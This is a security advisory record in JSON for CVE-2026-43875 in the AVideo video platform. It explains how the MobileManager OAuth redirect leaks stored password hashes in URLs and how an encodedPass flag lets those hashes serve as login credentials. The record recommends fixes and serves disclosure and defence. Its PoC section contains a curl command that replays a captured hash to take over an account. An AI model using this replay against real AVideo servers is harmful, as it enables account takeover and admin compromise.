CVE-2026-43875: AVideo Password Hash Leak Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5w8w-26ch-v5cw",
  "modified" : "2026-05-13T14:19:29Z",
  "published" : "2026-05-05T19:08:45Z",
  "aliases" : [ "CVE-2026-43875" ],
  "summary" : "AVideo: Password Hash Leak in MobileManager OAuth Redirect URL Enables Account Takeover",
  "details" : "## Summary\n\n`plugin/MobileManager/oauth2.php` completes an OAuth login by sending an HTTP 302 `Location: oauth2Success.php?user=<email>&pass=<HASH>` where `<HASH>` is the victim's stored password hash (`md5(hash(\"whirlpool\", sha1(password)))`) read directly from the `users` table. AVideo's own login endpoint (`objects/login.json.php`) accepts an `encodedPass=1` flag that bypasses hashing and performs a direct string comparison between the supplied value and the stored hash. Anyone who captures the redirect URL — via server logs, referrer leakage, or browser history — therefore obtains a credential equivalent to the plaintext password and can fully take over the account, including admin accounts.\n\n## Details\n\n### Sink: hash inlined in a GET redirect\n\n`plugin/MobileManager/oauth2.php:98-102`:\n\n```php\n$pass = rand();\n$users_id = User::createUserIfNotExists($user, $pass, $name, $email, $photoURL);\n$adapter->disconnect();\n$userObject = new User($users_id);\nheader(\"Location: oauth2Success.php?user=\" . $userObject->getUser() . \"&pass=\" . $userObject->getPassword());\n```\n\n`$userObject->getPassword()` returns the raw database column (`objects/user.php:159-162`):\n\n```php\npublic function getPassword()\n{\n    return strip_tags($this->password);\n}\n```\n\nThe returned value is the stored password hash for the account (existing or freshly-created). It is transported to the browser as a query-string parameter in the `Location:` header, so it is written to:\n\n* Web-server access logs (`combined` / `main` log formats record the full request line including query string).\n* Upstream proxy / CDN / WAF logs.\n* Any error monitoring / APM that captures request URLs (Sentry, Datadog, New Relic defaults).\n* The victim's browser history (persistent local artifact).\n* The `Referer` header on subsequent navigation from the rendered `oauth2Success.php` page if the page or its assets load any external origin and the browser's `Referrer-Policy` is not strict.\n\n### Hash equals plaintext for login\n\n`objects/login.json.php:182-209`:\n\n```php\nif (!empty($_GET['user'])) {\n    $_POST['user'] = $_GET['user'];\n}\nif (!empty($_GET['pass'])) {\n    $_POST['pass'] = $_GET['pass'];\n}\nif (!empty($_GET['encodedPass'])) {\n    $_POST['encodedPass'] = $_GET['encodedPass'];\n}\n...\n$user = new User(0, $_POST['user'], $_POST['pass']);\n...\n$resp = $user->login(false, @$_POST['encodedPass']);\n```\n\n`objects/user.php:1272-1279` passes `$encodedPass` to `find()`:\n\n```php\nif (strtolower($encodedPass) === 'false') {\n    $encodedPass = false;\n}\n...\n$user = $this->find($this->user, $this->password, true, $encodedPass);\n```\n\n`objects/user.php:1785-1794`:\n\n```php\nif ($pass !== false) {\n    if (!encryptPasswordVerify($pass, $result['password'], $encodedPass)) {\n        ...\n        return false;\n    }\n}\n```\n\n`objects/functions.php:2312-2331`:\n\n```php\nfunction encryptPasswordVerify(#[\\SensitiveParameter] $password, $hash, $encodedPass = false)\n{\n    global $advancedCustom, $global;\n    if (!$encodedPass || $encodedPass === 'false') {\n        $passwordSalted  = encryptPassword($password);\n        $passwordUnSalted = encryptPassword($password, true);\n    } else {\n        $passwordSalted  = $password;   // <- direct use, no hashing\n        $passwordUnSalted = $password;\n    }\n    $isValid = $passwordSalted === $hash || $passwordUnSalted === $hash;\n    ...\n}\n```\n\nWhen `encodedPass` is truthy, the supplied value is compared as-is against the stored hash. The captured redirect parameter `pass=<HASH>` is therefore a valid login credential when replayed with `encodedPass=1`.\n\n### Compounding factors\n\n* The redirect is a raw `Location:` (GET), not a POST — the secret is placed in a URL which is by definition non-confidential transport.\n* No CSRF token, no `state` parameter tied to the session, and no single-use token is used on `/plugin/MobileManager/oauth2.php`.\n* `login.json.php` does not require a CSRF token or captcha on the first attempt (`checkLoginAttempts()` at `objects/user.php:1282` only rate-limits after failures, and the attacker succeeds on the first try).\n* By contrast, the non-plugin flow in `objects/login.json.php:144-145` already sets session state server-side (`$userObject->login(true)`), demonstrating the project already has a safer pattern available.\n\n## PoC\n\nPrerequisites: `MobileManager` plugin enabled and at least one supported login provider (e.g. `LoginGoogle`) configured with valid keys — both are common production settings for this product.\n\n1. Victim initiates the mobile OAuth flow:\n\n   ```\n   GET /plugin/MobileManager/oauth2.php?type=Google\n   ```\n\n2. After the victim authorizes at the provider, the server sends:\n\n   ```\n   HTTP/1.1 302 Found\n   Location: oauth2Success.php?user=victim%40example.com&pass=9d7ab4...stored-hash...\n   ```\n\n   This request-line — including the password hash — is written to the web server's access log (default `combined` format) and to any upstream proxy/CDN log. It also appears in the victim's browser history.\n\n3. Attacker obtains `<HASH>` from any of those channels.\n\n4. Attacker logs in as the victim without knowing the plaintext password:\n\n   ```\n   curl -i -c cookies.txt \\\n     'https://target.example.com/objects/login.json.php?user=victim@example.com&pass=<HASH>&encodedPass=1'\n   ```\n\n   Expected response: `200 OK` with JSON containing `id`, `user`, `PHPSESSID`, `isAdmin`, `email`, and a `Set-Cookie: PHPSESSID=...` that grants full account access. The attacker can now browse, upload, modify the victim's channel, or — if the victim is an admin — access `/mvideos` and all admin endpoints.\n\n## Impact\n\n* Full account takeover of any user who has ever logged in through the MobileManager OAuth endpoint.\n* If the victim is an administrator, the attacker gains administrative control of the AVideo instance (user management, plugin config, site-wide content).\n* The exposed hash works indefinitely: it remains valid for as long as the victim does not change their password, so a one-time log/history/referrer capture yields a persistent credential.\n* Passes silently — from the application's perspective, the attacker is just a legitimate login with `encodedPass=1` (a flag the product itself uses for mobile-app \"remember me\" flows).\n\n## Recommended Fix\n\n1. Never place the password hash (or any credential-equivalent material) in a URL. In `plugin/MobileManager/oauth2.php`, mirror what `objects/login.json.php:143-146` already does for the web flow — establish the session server-side and redirect to a URL with no credentials:\n\n   ```php\n   $userObject = new User(0, $user, $pass);\n   $userObject->login(true);   // server-side session\n   header(\"Location: oauth2Success.php\");\n   ```\n\n2. Additionally, remove or hard-restrict the `encodedPass` branch in `objects/functions.php:2319-2329`. If a \"hash-equivalent\" credential must exist for the mobile app, replace it with a short-lived, single-use, server-issued bearer token bound to the session, rather than the persistent database hash.\n\n3. Add a `state` parameter and CSRF protection on `/plugin/MobileManager/oauth2.php` so the redirect cannot be initiated from a third-party origin.\n\n4. For defense-in-depth, strip query strings containing `pass=` from access-log formats and ensure `oauth2Success.php` sets `Referrer-Policy: no-referrer` while it is being deprecated.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-5w8w-26ch-v5cw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43875"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/977cd6930a97571a26da4239e25c8096dd4ecbc1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-598" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T19:08:45Z",
    "nvd_published_at" : "2026-05-11T22:22:11Z"
  }
}